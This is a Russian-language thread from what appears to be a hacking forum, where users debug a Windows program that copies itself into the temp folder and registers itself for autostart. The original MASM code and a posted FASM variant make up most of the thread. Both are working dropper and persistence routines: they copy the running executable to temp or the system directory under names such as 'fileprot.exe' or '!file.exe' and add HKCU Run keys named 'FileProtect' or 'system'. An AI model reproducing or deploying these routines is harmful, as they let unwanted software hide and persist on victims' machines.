• XSS.stack #1 – первый литературный журнал от юзеров форума

Программа глючит при автозагрузке

Quake3

TPU unit
Забанен
Регистрация
03.11.2010
Сообщения
4 529
Решения
4
Реакции
5 305
Депозит
0.046
Пожалуйста, обратите внимание, что пользователь заблокирован
Столкнулся с прям таки мистической ошибкой. Есть прога, которая проверяет где она лежит, если не в temp - копирует себя в темп. Казалось бы, такой код напишет даже олигофрен, но тем не менее, он у меня дает очень странную ошибку.

А именно - при автозагрузке код пишет, что он НЕ в темп, пытается скопировать файл сам в себя и вылетает. Если же зайти вручную в темп, и запустить файл - то ошибки не будет. Т.е. она только при автозагрузке. Никакая отладка не помогает, при сравнении строк с именами папок lstrcmpi упорно возвращает единицу при автоматической загрузке, и 0 - при запуске вручную. Что это может быть, подскажите пожалуйста, я уже весь мозг сломал об этот говнокод. :angry:


Код:
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32,masm32,advapi32

.data
curPath db MAX_PATH+1 dup (0)
newPath db MAX_PATH+1 dup (0)

.code
main proc
local hReg:dword;

call autoload
invoke GetTempPath,MAX_PATH,addr newPath;получаем путь к темп
invoke GetLongPathName,addr newPath,addr newPath,MAX_PATH;приводим к длинному варианту
invoke GetCurrentDirectory,MAX_PATH,addr curPath;путь к текущей папке
invoke lstrcat,addr curPath,chr$("\");добавляем слеш
invoke GetLongPathName,addr curPath,addr curPath,MAX_PATH;приводим к длинному пути

invoke lstrcmpi,addr newPath,addr curPath;сравниваем папки
    pushad
    fn MessageBox,0,str$(eax),"Test",MB_OK;0 - папки равны, -1 или 1 - не равны
    popad

.if eax != 0 ;если не равны, скопировать себя в темп, тут и проявляется эта ошибка
	invoke GetModuleFileName,0,addr curPath,MAX_PATH+1
	invoke lstrcat,addr newPath,chr$("fileprot.exe")
	invoke CopyFile,addr curPath,addr newPath,0;копируем с перезаписью
	call autoload;автозагрузка
  .if eax==0
  	fn MessageBox,0,LastError$(),"Last Error Text",MB_OK
  .endif
.endif

exit
main endp
autoload proc
local hReg:dword
invoke GetModuleFileName,0,addr newPath,MAX_PATH

invoke RegCreateKey,HKEY_CURRENT_USER,chr$("Software\Microsoft\Windows\CurrentVersion\Run"),addr hReg
	test eax,eax
	jnz @err
invoke lstrlen,addr newPath
	mov ebx,eax
	inc ebx;длина с учетом нуллбайта
invoke RegSetValueEx,hReg,chr$("FileProtect"),0,REG_SZ,addr newPath,ebx
	test eax,eax
	jnz @err	
invoke RegCloseKey,hReg
jmp @ret
@err:
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK
@ret:
ret
autoload endp
end main


Что за черт,почему постоянно не получается сделать как надо. Уже перечитал все мануалы, погуглил - и толку 0. :bang:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
invoke lstrcmpi,addr newPath,addr curPath;сравниваем папки
И естественно я сохранял оба значения в файлы, выводил их мессаджебоксом. Они идентичны до байта, там нет никаких скрытых символов, нуллбайтов и прочего. Но все равно - при автозагрузке функция возвращает единицу.

И после этого кто-то еще говорит, мол системный кодинг это легкая тема.
 
хз на ум приходит пару вещей, во первых слеш в конце temp имени ( мб он то есть, то его нет ), второе что GetCurrentDirectory не гарантирует что текущая папка есть так откуда идет старт, имхо это лучше делать не сравнивая папки а сравнивая полные пути:

1 получаешь путь с именем файла, где хочешь находиться
2 получаешь текущий путь GetModuleFileName
3 сравниваешь
 
Я вот когда на фасм'е дроп/запись ваял, дык с первого раза тоже не выходило. Чтобы проконтролировать что где как называется (правильные ли пути, слеши), просто выводил messagebox с переменными -_-
Код:
format PE GUI on 'nul'
entry start
section '.code' code import writeable readable executable

include 'win32ax.inc'

library kernel32, 'kernel32.dll',\
    advapi32, 'advapi32.dll'
      	
import kernel32,\
    ExitProcess, 'ExitProcess',\
    GetSystemDirectoryA, 'GetSystemDirectoryA',\
    GetModuleFileNameA, 'GetModuleFileNameA',\
    lstrcat, 'lstrcat',\
    CopyFileA, 'CopyFileA',\ 
    VirtualAlloc, 'VirtualAlloc',\
    VirtualFree, 'VirtualFree'  
    
import advapi32,\
    RegCreateKeyExA, 'RegCreateKeyExA',\
    RegSetValueExA, 'RegSetValueExA',\
    RegCloseKey, 'RegCloseKey'

start:    

    invoke VirtualAlloc, 0, MAX_PATH, MEM_COMMIT, PAGE_EXECUTE_READWRITE
    mov [win_dir], eax
    invoke GetSystemDirectoryA, [win_dir], MAX_PATH 
    
    invoke VirtualAlloc, 0, MAX_PATH, MEM_COMMIT, PAGE_EXECUTE_READWRITE
    mov [this_file_name], eax    
    invoke GetModuleFileNameA, 0, [this_file_name], MAX_PATH  
      
    invoke lstrcat, [win_dir], new_file   
    invoke CopyFileA, [this_file_name], [win_dir], 0
    invoke RegCreateKeyExA, HKEY_CURRENT_USER, run_key, 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, hkey, 0
    invoke RegSetValueExA, [hkey], value_name, 0, REG_SZ, [win_dir], MAX_PATH
    
    xor eax, eax
    invoke VirtualFree, [win_dir], eax, MEM_RELEASE
    invoke VirtualFree, [this_file_name], eax, MEM_RELEASE
    invoke RegCloseKey, [hkey]
    invoke ExitProcess, eax                               
    
    run_key db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
    value_name db 'system', 0
    new_file db '\!file.exe', 0
    win_dir dd 0
    this_file_name dd 0
    hkey dd 0
 
смею предположить, что при автозапуске от explorer.exe CurrentDirectory наследуется, т.е. используется CurrentDirectory самого експлорера и он у тебя сто пудово в темп не ведет, отсюда и не совпадение путей. при ручном запуске (двойной клик) експлорер эту переменную как раз устанавливает и проблемы нет.
попробуй иначе получить текущую папку, например заменив последний слеш от результата GetModuleFileName на нуллбайт и потом уже сравнивай.

upd: эль опередил :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Wolfomeo
Так я выводил. Сначала мессаджбоксами, потом подумал, что мб какие-то нуллбайты, начал записывать все это дело в файлы, и смотреть хекс редактором. Но все идентично,никаких левых символов не было. В общем, мистика.

el-
На слеши тоже проверял, там все идентичное, до байта.

Ситуация решилась через замену GetCurrentDirectory на GetModuleFileName. Видимо в самом деле
GetCurrentDirectory не гарантирует что текущая папка есть та откуда идет старт
. Хотя прога выводила мессаджбоксом именно эту папку, но мб какие-то глюки/недокументированные возможности.

Добавлено в [time]1374598079[/time]
accwranadm
Пока писал предыдущий пост, не увидел твой.
Наверное да, так оно и есть, с GetModuleFileName заработало нормально.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх